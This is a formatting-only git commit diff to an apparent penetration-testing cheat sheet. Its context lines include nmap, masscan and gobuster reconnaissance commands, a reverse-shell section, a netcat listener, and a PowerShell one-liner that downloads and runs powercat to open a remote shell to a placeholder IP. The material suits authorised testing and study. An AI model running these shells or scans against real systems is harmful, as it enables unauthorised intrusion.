Formatting

This commit is contained in:
Phil
2021-12-24 13:41:29 +00:00
parent 8c1ce1f35f
commit 1cdc1241dc
+18 -7
View File
@@ -30,14 +30,14 @@
##### Nmap
#### Nmap
```
nmap -sV -sC -oA nmap/basic IP
nmap [Scan Type] [Options] {target specification}
```
```
* HOST DISCOVERY:
- -sL: List Scan - simply list targets to scan
- -sn/-sP: Ping Scan - disable port scan
@@ -59,20 +59,25 @@ nmap [Scan Type] [Options] {target specification}
-v: Increase verbosity level (use -vv or more for greater effect)
* MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute
```
##### Masscan
#### Masscan
```bash
masscan IP -p 1-65535 --rate 100 -oX masscan.xml
```
##### Netdiscover
#### Netdiscover
````
netdiscover -i <INTERFACE>
```
##### DirBuster / GoBuster
#### DirBuster / GoBuster
```bash
./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
@@ -91,7 +96,7 @@ netdiscover -i <INTERFACE>
### Attacking - Reverse Shells
* PHP Reverse Shell
#### PHP Reverse Shell
```
<?php
@@ -284,6 +289,8 @@ function printit ($string) {
?>
```
#### Built-in Tools
| Program | Command |
|----------|---------|
| Netcat Listen | ncat -vlnp 4444 |
@@ -300,7 +307,9 @@ function printit ($string) {
| Java | java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html |
| Powershell | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 5566 -e cmd |
### Spawning a Shell
#### Spawning a Shell
To check if the shell is a tty shell, just enter tty command like the following.
@@ -339,6 +348,8 @@ fg
export TERM=xterm
```
## Stage 3 - Post Exploitation
### Lets Have a Look Around